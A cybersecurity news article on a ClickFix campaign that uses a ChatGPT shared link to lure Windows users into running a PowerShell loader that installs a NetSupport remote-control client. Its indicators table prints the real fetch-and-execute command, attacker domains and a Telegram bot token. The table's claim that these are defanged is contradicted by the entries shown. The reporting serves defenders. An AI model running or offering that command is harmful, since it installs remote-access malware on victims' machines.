Hackers Abuse Real ChatGPT Links to Trick Windows Users Into Installing Malware

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Windows users are being targeted through a malicious campaign that turns a ChatGPT shared link into the step of a malware infection.

Rather than breaking into the AI platform, the operators place a deceptive message inside a shared conversation and rely on victims to follow its instructions.

The page claims that traffic is too high and directs visitors to a supposed backup site. That destination uses a fake human-verification screen and tells people to open the Windows Run dialog, paste a command, and press Enter.

The action quietly starts a PowerShell-based download chain outside the browser. JOERverser analysts identified the activity as a malicious ClickFix operation, while stressing that the legitimate ChatGPT domain was not compromised.

The abuse lies in user-controlled shared content, a reminder that a trusted web address cannot by itself prove that every instruction shown on a page is safe.

Joe Reverser said in a report shared with Cyber Security News (CSN) that the campaign can expose a victim’s computer details, public IP address, location, internet provider, time zone, Windows version, and administrator status.

It retrieves a concealed software bundle that includes a NetSupport remote-control client, creating the risk of follow-on monitoring or unauthorized access.

The attackers begin with an authentic ChatGPT sharing URL, a format that can look reassuring when delivered in an ad, search result, message, or email.

The shared page displays an availability warning and a link to an unrelated site presented as a backup destination. There was no observed automatic redirect, so the victim must click onward.

This detail matters because the tactic borrows credibility from a real service without needing to compromise its infrastructure.

A report on fake OpenAI Codex download pages shows how attackers pair well-known AI branding with ClickFix prompts to push users toward manual command execution.

Attack flow (Source – JOEReverser)

At the next stage, the landing page combines OpenAI-themed wording with Cloudflare-style verification and a claim involving Google. Its button copies a PowerShell command to the clipboard.

The instructions then guide the user through Win+R, Ctrl+V, and Enter, a familiar ClickFix sequence described in coverage of Windows Run dialog attacks.

The approach is effective because the browser does not have to download a suspicious file directly. Instead, the victim launches the command through a built-in Windows feature.

That human step can reduce the warning signs people expect from conventional phishing, even though the verification request has no legitimate reason to require Run or PowerShell.

Hidden Loader Collects Data

The copied command fetches a remote script and evaluates it. The script hides its console window, checks computer names associated with analysis environments, and launches additional PowerShell stages with execution-policy bypass settings.

A decoded stage sends collected device and network information to a Telegram chat before downloading what appears to be an MP4 video.

The video is valid as a media file, but it also holds an encrypted and compressed PowerShell bundle in a custom data area. That concealment reflects the broader risk explored in Cloudflare themed ClickFix campaigns.

Analysis workflow (Source - JOEReverser)
Analysis workflow (Source – JOEReverser)

Researchers recovered 20 embedded files from the bundle, including a signed NetSupport client and supporting components.

Dual-use remote administration software can be legitimate in normal settings, but its delivery through clipboard poisoning, hidden scripts, system profiling, and cleanup behavior makes this deployment malicious. The loader also clears the Windows Run history to reduce visible traces.

Users should treat any website that asks them to open Run, Terminal, Command Prompt, or PowerShell to prove they are human as malicious.

Close the page instead of following keyboard instructions, inspect pasted content before running it, and alert security teams if a command was executed.

Organizations can block the listed infrastructure and investigate the relevant hashes, a precaution reinforced by reporting on fake browser update malware.

Indicators of compromise (IoCs):-

Type Indicator Description
Initial lure URL https://chatgpt.com/s/t_6a80bc61c434819190c3eae5932307e8?gad_source=1&gad_campaignid=24099424548&gbraid=0AAAABEYrb1R9FV_puc090W7fCw9EgqHXr&gclid=CjwKCAjwy5rUBhB5EiwAIoAtCt0ElCUp9KixnPoAmexDzPVBvBhgFtyU1LU7_zKvTAsElOB3HQrESRoCSmQQAvD_BwE Submitted ChatGPT shared-conversation lure URL
Shared-content URL https://chatgpt.com/s/t_6a80bc61c434819190c3eae5932307e8 Legitimate shared-page path abused to display the lure
Shared-page identifier t_6a80bc61c434819190c3eae5932307e8 Identifier for the submitted ChatGPT conversation
Landing-page domain openai-backup.one Fake backup domain used for the ClickFix page
Landing-page URL https://openai-backup.one/ Final observed browser destination
IPv4 address 138.124.123.8 Point-in-time resolved address for openai-backup.one
Payload-delivery domain brmconfig.com Host used to deliver the PowerShell loader and MP4 carrier
Loader URL https://brmconfig.com Remote PowerShell loader location
Payload-carrier URL https://brmconfig.com/video.mp4 MP4 file containing the encrypted PowerShell bundle
IPv4 address 91.92.240.175 Point-in-time resolved address for brmconfig.com
Clipboard command powershell -C "IEX(irm 'brmconfig.com')"; exit Command copied by the fake verification page
File name video.mp4 MP4 carrier used to conceal the encrypted payload
SHA-256 28e36f00ecd31de79455c0ecf11bb1c6481f4d35d26ba5e2c60e5a55f784cbec Hash of the downloaded MP4 carrier
MD5 4a05f41fa3ab441ac14effeb6253bd77 MD5 hash of the downloaded MP4 carrier
File name app.EXe Extracted NetSupport remote-control client
SHA-256 56ebaf8922749b9a9a7fa2575f691c53a6170662a8f747faeed11291d475c422 Hash of extracted app.EXe
MD5 0e660f7e5a6621a9185a7b8080364500 MD5 hash of extracted app.EXe
File name REMcmdsTUB.exE Secondary extracted executable
SHA-256 b11380f81b0a704e8c7e84e8a37885f5879d12fbece311813a41992b3e9787f2 Hash of extracted REMcmdsTUB.exE
MD5 5be6fb8f28544d4f83c25a2b76ff7890 MD5 hash of extracted REMcmdsTUB.exE
Telegram bot token 8860131546:AAEw4RsooG63J16vrY1o5b9ZwXOnP_Nl_gQ Hard-coded token used by the decoded loader
Telegram chat ID -1004488044983 Destination for victim launch telemetry
Abused service domain api.telegram.org Telegram API endpoint used for data reporting
Geolocation URL http://ip-api.com/json/?fields=query,country,city,regionName,isp,timezone Endpoint queried for victim IP and location details
IP lookup URL https://api.ipify.org Public IP address fallback service
Host artifact %ProgramData%.ch_912137a8cc4c Marker path checked by the loader
Registry artifact HKCUSoftwareMicrosoftWindowsCurrentVersionExplorerRunMRU Windows Run-dialog history location cleared by the loader
MP4 UUID identifier 6d5c057efe144b31bce5b7cf90b066a5 Custom MP4 data-box identifier used during payload extraction

Note: IP addresses and domains are intentionally defanged (e.g., [.]) to prevent accidental resolution or hyperlinking. Re-fang only within controlled threat intelligence platforms such as MISP, VirusTotal, or your SIEM.

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